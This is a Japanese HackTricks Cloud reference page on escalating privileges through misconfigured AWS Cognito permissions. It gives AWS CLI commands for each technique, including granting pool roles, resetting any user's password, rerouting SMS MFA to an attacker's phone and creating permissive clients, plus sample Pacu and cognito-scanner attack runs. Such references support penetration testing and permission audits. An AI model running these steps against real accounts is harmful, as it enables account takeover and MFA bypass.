AWS - Cognito Privesc
Reading time: 20 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Cognito
Cognitoに関する詳細情報は、以下を確認してください:
アイデンティティプールからの資格情報の収集
Cognitoは認証済みおよび未認証のユーザーにIAMロールの資格情報を付与できるため、アプリケーションのアイデンティティプールIDを特定できれば(アプリケーションにハードコーディングされているはずです)、新しい資格情報を取得でき、したがって権限昇格が可能です(おそらく以前は何の資格情報も持っていなかったAWSアカウント内で)。
詳細情報はこのページを確認してください。
潜在的な影響: 未認証ユーザーに付与されたサービスロールへの直接的な権限昇格(おそらく認証済みユーザーに付与されたものにも)。
cognito-identity:SetIdentityPoolRoles
, iam:PassRole
この権限を使用すると、Cognitoアプリの認証済み/未認証ユーザーに任意のCognitoロールを付与できます。
aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>
# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
Cognitoアプリが未認証ユーザーを有効にしていない場合、これを有効にするためにcognito-identity:UpdateIdentityPool
の権限も必要になるかもしれません。
潜在的な影響: どのCognitoロールにも直接的な権限昇格。
cognito-identity:update-identity-pool
この権限を持つ攻撃者は、例えば自分の管理下にあるCognitoユーザープールや、ログインできる他のアイデンティティプロバイダーを設定することができます。これにより、このCognitoアイデンティティプールにアクセスする方法となります。その後、単にそのユーザープロバイダーでログインすることで、アイデンティティプールに設定された認証済みロールにアクセスできるようになります。
# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false
# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:
# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
この権限を悪用して基本認証を許可することも可能です:
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow
潜在的な影響: アイデンティティプール内の設定された認証済みIAMロールが侵害される。
cognito-idp:AdminAddUserToGroup
この権限はCognitoユーザーをCognitoグループに追加することを許可します。したがって、攻撃者はこの権限を悪用して、自分の管理下にあるユーザーをより良い権限や異なるIAMロールを持つ他のグループに追加することができます。
aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>
潜在的な影響: 他のCognitoグループおよびユーザープールグループに添付されたIAMロールへの権限昇格。
(cognito-idp:CreateGroup
| cognito-idp:UpdateGroup
), iam:PassRole
これらの権限を持つ攻撃者は、すべてのIAMロールを使用して妥協されたCognitoアイデンティティプロバイダーによって作成/更新されたグループを作成/更新し、妥協されたユーザーをそのグループの一部にすることで、すべてのロールにアクセスできます。
aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
潜在的な影響: 他のCognito IAMロールへの権限昇格。
cognito-idp:AdminConfirmSignUp
この権限はサインアップを確認することを許可します。デフォルトでは、誰でもCognitoアプリケーションにサインインできます。これが放置されると、ユーザーは任意のデータでアカウントを作成し、この権限で確認することができます。
aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>
潜在的な影響: 新しいユーザーを登録できる場合、認証されたユーザーのためのアイデンティティプールIAMロールへの間接的な権限昇格。任意のアカウントを確認できることによる他のアプリ機能への間接的な権限昇格。
cognito-idp:AdminCreateUser
この権限により、攻撃者はユーザープール内に新しいユーザーを作成することができます。新しいユーザーは有効として作成されますが、パスワードを変更する必要があります。
aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]
潜在的な影響: 認証されたユーザーのためのアイデンティティプールIAMロールへの直接的な権限昇格。任意のユーザーを作成できることによる他のアプリ機能への間接的な権限昇格。
cognito-idp:AdminEnableUser
この権限は、攻撃者が無効化されたユーザーの資格情報を見つけ、再度有効にする必要がある非常に限られたケースで役立ちます。
aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>
潜在的な影響: 認証されたユーザーのためのアイデンティティプールIAMロールへの間接的な権限昇格と、攻撃者が無効なユーザーの資格情報を持っている場合のユーザーの権限。
cognito-idp:AdminInitiateAuth
, cognito-idp:AdminRespondToAuthChallenge
この権限は、ADMIN_USER_PASSWORD_AUTHメソッドを使用してログインすることを許可します。 詳細についてはリンクを参照してください。
cognito-idp:AdminSetUserPassword
この権限は、攻撃者が任意のユーザーのパスワードを変更することを許可し、MFAが有効でない任意のユーザーを偽装できるようにします。
aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent
潜在的な影響: 直接的な権限昇格により、任意のユーザーにアクセスできる可能性があり、各ユーザーが所属するすべてのグループへのアクセスと、Identity Pool 認証済み IAM ロールへのアクセスが得られます。
cognito-idp:AdminSetUserSettings
| cognito-idp:SetUserMFAPreference
| cognito-idp:SetUserPoolMfaConfig
| cognito-idp:UpdateUserPool
AdminSetUserSettings: 攻撃者はこの権限を悪用して、自分の管理下にある携帯電話を ユーザーの SMS MFA として設定する可能性があります。
aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>
SetUserMFAPreference: 前のものと同様に、この権限はユーザーのMFA設定を変更してMFA保護を回避するために使用できます。
aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>
SetUserPoolMfaConfig: 前のものと同様に、この権限はユーザープールのMFA設定を変更してMFA保護を回避するために使用できます。
aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]
UpdateUserPool: ユーザープールを更新してMFAポリシーを変更することも可能です。Check cli here。
Potential Impact: 攻撃者が認証情報を知っている任意のユーザーに対する間接的な権限昇格が可能で、これによりMFA保護を回避できる可能性があります。
cognito-idp:AdminUpdateUserAttributes
この権限を持つ攻撃者は、自分の管理下にあるユーザーのメールアドレスや電話番号、またはその他の属性を変更して、基盤となるアプリケーションでの権限をさらに取得しようとすることができます。
これにより、メールアドレスや電話番号を変更し、それを確認済みとして設定することができます。
aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>
潜在的な影響: Cognito User Poolを使用して、ユーザー属性に基づいて権限を付与する基盤となるアプリケーションでの潜在的な間接的な権限昇格。
cognito-idp:CreateUserPoolClient
| cognito-idp:UpdateUserPoolClient
この権限を持つ攻撃者は、既存のプールクライアントよりも制限の少ない新しいUser Pool Clientを作成することができます。例えば、新しいクライアントは、あらゆる種類の方法で認証を許可し、秘密がなく、トークンの取り消しが無効で、トークンがより長い期間有効であることを許可することができます...
新しいクライアントを作成する代わりに、既存のクライアントを変更することでも同じことができます。
コマンドライン(または更新のもの)で、すべてのオプションを確認できます。チェックしてください!
aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]
潜在的な影響: ユーザープールによって使用されるアイデンティティプールの承認されたユーザーに対する潜在的な間接的な権限昇格。新しいクライアントを作成することでセキュリティ対策が緩和され、攻撃者が作成したユーザーでログインすることが可能になる。
cognito-idp:CreateUserImportJob
| cognito-idp:StartUserImportJob
攻撃者はこの権限を悪用して、新しいユーザーを含むcsvをアップロードすることでユーザーを作成することができる。
# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>
# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>
# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
(新しいインポートジョブを作成する場合、iam passrole権限が必要になることがありますが、まだテストしていません)。
潜在的な影響: 認証されたユーザーのためのアイデンティティプールIAMロールへの直接的な権限昇格。任意のユーザーを作成できる他のアプリ機能への間接的な権限昇格。
cognito-idp:CreateIdentityProvider
| cognito-idp:UpdateIdentityProvider
攻撃者は新しいアイデンティティプロバイダーを作成し、このプロバイダーを通じてログインできるようになります。
aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]
潜在的影響: 認証されたユーザーのためのアイデンティティプールIAMロールへの直接的な権限昇格。任意のユーザーを作成できることによる他のアプリ機能への間接的な権限昇格。
cognito-sync:* 分析
これはCognitoアイデンティティプールのロールでデフォルトで非常に一般的な権限です。権限にワイルドカードが含まれていることは常に悪い印象を与えます(特にAWSからの場合)、しかし与えられた権限は攻撃者の視点からはあまり有用ではありません。
この権限は、アイデンティティプール内のアイデンティティ情報やアイデンティティIDを読み取ることを許可します(これは機密情報ではありません)。
アイデンティティIDにはデータセットが割り当てられている可能性があり、これはセッションの情報です(AWSはこれをセーブされたゲームと定義しています)。これには何らかの機密情報が含まれている可能性がありますが(確率はかなり低いです)、この情報にアクセスする方法は列挙ページで見つけることができます。
攻撃者はこれらの権限を使用して、これらのデータセットの変更を公開するCognitoストリームに自分自身を登録するか、CognitoイベントでトリガーされるLambdaに登録することもできます。これが使用されているのを見たことはありませんし、ここで機密情報が期待されることはありませんが、不可能ではありません。
自動ツール
- Pacu、AWSのエクスプロイトフレームワークは、アカウント内のすべてのCognito資産の列挙を自動化し、弱い構成、アクセス制御に使用されるユーザー属性などをフラグ付けする「cognito__enum」と「cognito__attack」モジュールを含むようになりました。また、ユーザー作成(MFAサポートを含む)や、変更可能なカスタム属性、使用可能なアイデンティティプール資格情報、IDトークン内の引き受け可能なロールに基づく権限昇格も自動化します。
モジュールの機能の説明については、ブログ投稿のパート2を参照してください。インストール手順については、メインのPacuページを参照してください。
使用法
特定のアイデンティティプールとユーザープールクライアントに対してユーザー作成とすべての権限昇格ベクターを試みるためのcognito__attackのサンプル使用法:
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
サンプル cognito__enum の使用法は、現在の AWS アカウントで表示されるすべてのユーザープール、ユーザープールクライアント、アイデンティティプール、ユーザーなどを収集することです:
Pacu (new:test) > run cognito__enum
- Cognito Scanner は、Cognito に対するさまざまな攻撃を実装する Python の CLI ツールで、特権昇格を含みます。
インストール
$ pip install cognito-scanner
使用法
$ cognito-scanner --help
詳細については、https://github.com/padok-team/cognito-scannerを確認してください。
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。